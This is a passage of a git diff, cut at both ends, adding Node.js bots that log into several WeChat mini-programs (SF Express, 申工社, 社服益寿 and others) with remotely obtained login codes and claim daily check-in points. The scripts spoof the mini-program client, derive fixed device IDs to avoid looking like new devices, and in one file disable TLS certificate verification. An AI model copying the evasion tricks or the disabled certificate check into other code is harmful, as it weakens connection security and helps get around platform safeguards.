this.log("登录成功(已绑定顺丰会员)"); + } else { + this.log("UCMP 会话已建立,但未拿到绑定手机号(疑似未注册/未绑定)"); + } + } + async mcsPost(apiPath, body) { + const res = await axios.request({ + method: "POST", url: `${MCS_BASE}${apiPath}`, data: body || {}, + headers: { + Host: "mcs-mimp-web.sf-express.com", "User-Agent": UA_MP, + Accept: "application/json, text/plain, */*", "Content-Type": "application/json", + channel: "xcxpart", platform: "MINI_PROGRAM", "accept-language": "zh-CN,zh;q=0.9", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + Cookie: cookieHeader(this.jar), ...signHeaders(), + }, + timeout: 25000, validateStatus: () => true, + }); + absorbSetCookie(res.headers["set-cookie"], this.jar); + return res.data || {}; + } + async sign(retry = true) { + const res = await this.mcsPost(EP_SIGN, { comeFrom: "vioin", channelFrom: "WEIXIN" }); + if (res && res.success) { + const obj = res.obj || {}; + const packets = obj.integralTaskSignPackageVOList || []; + const countDay = obj.countDay ?? obj.countDays ?? "-"; + if (obj.hasFinishSign === 1) return this.log(`✅ 今日已签到,本周累计【${countDay}】天`); + if (packets.length) return this.log(`✅ 签到成功:【${packets[0].packetName}】,本周累计【${countDay}】天`); + return this.log(`✅ 签到完成,本周累计【${countDay}】天`); + } + const code = res && (res.errorCode || res.code); + const msg = (res && (res.errorMessage || res.msg)) || short(res); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + + const sessionErr = String(code) === "100111" || + /用户信息失效|退出重新进入|未登录|登录失效|未授权|请登录|会话失效|会员/i.test(String(msg)); + if (sessionErr) { + const hasMobile = !!(this.jar && this.jar._login_mobile_); + if (retry && this.fromCache) { + this.log(`缓存会话失效,重新登录后重试:${msg}`); + this.jar = {}; + await this.login(); + return this.sign(false); + } + if (!hasMobile) { this.unregistered = true; throw new Error("NO_ACCOUNT:未注册/未绑定顺丰会员"); } + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (cached.jar && cached.jar.sessionId && cached.jar._login_mobile_) { + this.jar = cached.jar; this.fromCache = true; this.log("使用缓存会话"); return; + } + await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在顺丰速运注册/绑定会员,先在小程序里登录绑定手机号再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/shanyi.js b/wxapp/shanyi.js new file mode 100644 index 00000000..3952ed43 --- /dev/null +++ b/wxapp/shanyi.js @@ -0,0 +1,243 @@ +/* +------------------------------------------ +@Description: 善羿科技 - 微信小程序静默登录 + 每日签到 +cron: 38 8 * * * +------------------------------------------ +变量名:shanyi +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxc59eee06736849e8,host net.todaypayforyou.fun/YSKJ/api): + 登录 POST /user/login_wx {code, device_id, invite_code:'', nickname:'', avatar:''} + -> code 为 200 或缺省即成功,data.token + 之后所有请求带请求头 X-Token: + 资料 GET /user/profile + 签到 POST /sign/checkin {} (状态查询是 GET /sign/status) + device_id 按 openid 稳定派生,避免每次跑都像新设备 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("善羿科技"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "shanyi"; +const MINI_APP_ID = "wxc59eee06736849e8"; +const BASE = "https://net.todaypayforyou.fun/YSKJ/api"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "shanyi_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/user/login_wx"; +const EP_SIGN = "/sign/checkin"; +const EP_USER = "/user/profile"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => res?.code === undefined || Number(res?.code) === 200 || Number(res?.code) === 0; +const msgOf = (res) => res?.msg || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["X-Token"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, device_id: this.deviceId, invite_code: "", nickname: "", avatar: "" }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).token || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "GET", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/shefuyishou.js b/wxapp/shefuyishou.js new file mode 100644 index 00000000..bad9441b --- /dev/null +++ b/wxapp/shefuyishou.js @@ -0,0 +1,228 @@ +/* +------------------------------------------ +@Description: 社服益寿活动 - 微信小程序静默登录 + 每日签到 +cron: 22 8 * * * +------------------------------------------ +变量名:shefuyishou +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx8ac1f54b8fc39c6c,host ylapi.luckystarpay.com): + 登录 POST /api/silenceLogin {code} -> code==0, data.token + 之后所有请求带请求头 x-token: + 资料 POST /api/getUserInfo -> data.userInfo.credits + 签到 POST /api/userSign -> code==0 成功;已签到走 message +成功码是 code==0(不是 200),失败时 message 里给原因。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("社服益寿活动"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const https = require("https"); +const WeChatServer = require("./wcs.js"); + +const ckName = "shefuyishou"; +const MINI_APP_ID = "wx8ac1f54b8fc39c6c"; +const BASE = "https://ylapi.luckystarpay.com"; +// 该站 TLS 证书已过期(服务端问题),Node 默认会以 certificate has expired 直接拒连。 +// 小程序端照常访问,这里仅对本站放宽证书校验以恢复可用性(不影响其它请求)。 +const httpsAgent = new https.Agent({ keepAlive: true, rejectUnauthorized: false }); +const TOKEN_CACHE_FILE = path.join(__dirname, "shefuyishou_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/api/silenceLogin"; +const EP_USER = "/api/getUserInfo"; +const EP_SIGN = "/api/userSign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function isOk(res) { + return Number(res?.code) === 0; +} + +function msgOf(res) { + return res?.message || res?.msg || short(res); +} + +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +function isAlreadyDone(text) { + return /已签|已经签|签到过|重复|already/i.test(String(text || "")); +} + +function isAuthError(text) { + return /登录|token|未授权|失效|过期|重新/i.test(String(text || "")); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.credits = null; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + headers() { + return { + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + ...(this.token ? { "x-token": this.token } : {}), + }; + } + + async request(method, apiPath, data = null) { + const res = await axios.request({ + method, + url: `${BASE}${apiPath}`, + data, + headers: this.headers(), + timeout: 20000, + validateStatus: () => true, + httpsAgent, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须显式判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request("POST", EP_LOGIN, { code }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).token || ""; + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + if (!this.token) this.token = (readCache()[this.account.openid] || {}).token || ""; + if (this.token && (await this.queryUser(false))) return true; + this.token = ""; + await this.login(); + return true; + } + + async queryUser(needLog = true) { + const res = await this.request("POST", EP_USER); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + const info = (res.data || {}).userInfo || {}; + this.credits = info.credits; + if (needLog) this.log(`积分: ${info.credits ?? "未知"}`); + return true; + } + + async sign() { + const res = await this.request("POST", EP_SIGN); + if (isOk(res)) { + this.log("✅ 签到成功"); + return; + } + if (isAlreadyDone(msgOf(res))) { + this.log(`✅ 今日已签到(${msgOf(res)})`); + return; + } + if (isAuthError(msgOf(res))) { + // 缓存的 token 过期,重登一次再签(只重试一次,避免刷取码额度) + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + const again = await this.request("POST", EP_SIGN); + if (isOk(again)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(again))) return this.log(`✅ 今日已签到(${msgOf(again)})`); + this.log(`❌ 签到失败: ${msgOf(again)}`); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + await this.queryUser(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/shengongshe.js b/wxapp/shengongshe.js new file mode 100644 index 00000000..085f44c6 --- /dev/null +++ b/wxapp/shengongshe.js @@ -0,0 +1,243 @@ +/* +------------------------------------------ +@Description: 申工社 - 微信小程序静默登录 + 每日签到 +cron: 34 8 * * * +------------------------------------------ +变量名:shengongshe +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx63d70210fcc108fd,host fwdt.shszgh.cn): + 登录 POST /fwdt-wechat-xc/api/wechat/oauth {code} + -> code==0 && success===true,data 本身就是 token 字符串 + 之后所有请求带请求头 token: + 资料 GET /fwdt-wechat-xc/api/member/info/get -> data.nickname / data.integral + 签到 GET /fwdt-wechat-xc/api/integral/sign?_t=<毫秒> + token 失效的表现是 code==100 且 message==用户未登录 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("申工社"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "shengongshe"; +const MINI_APP_ID = "wx63d70210fcc108fd"; +const BASE = "https://fwdt.shszgh.cn"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "shengongshe_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/fwdt-wechat-xc/api/wechat/oauth"; +const EP_SIGN = "/fwdt-wechat-xc/api/integral/sign"; +const EP_USER = "/fwdt-wechat-xc/api/member/info/get"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => Number(res?.code) === 0 && (res?.success === undefined || res?.success === true); +const msgOf = (res) => res?.message || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["token"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (typeof res.data === "string" ? res.data : (res.data || {}).token) || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "GET", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, { _t: Date.now() }, true, "GET", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/sinsin.js b/wxapp/sinsin.js new file mode 100644 index 00000000..4d67aab1 --- /dev/null +++ b/wxapp/sinsin.js @@ -0,0 +1,286 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: sinsin微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:sinsin +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("sinsin微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const MINI_APP_ID = "wxdc40acf03fc92e6f"; +const KDT_ID = "126240508"; +const USER_VERSION = "2.235.5.101"; +const API_BASE = "https://h5.youzan.com"; +const UIC_BASE = "https://uic.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "sinsin_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "sinsin"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 12 ? `${token.slice(0, 6)}***${token.slice(-6)}` : `${token.slice(0, 3)}***`; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存session: ${maskToken(this.sessionId)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存session失效,重新code登录`); + } + } + + if (!this.sessionId) await this.loginByWxCode(); + if (!this.sessionId) return; + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.sessionId) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/54/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Cookie": this.sessionId ? `KDTSESSIONID=${this.sessionId}; yz_log_seqb=1` : "", + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {} }) { + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + 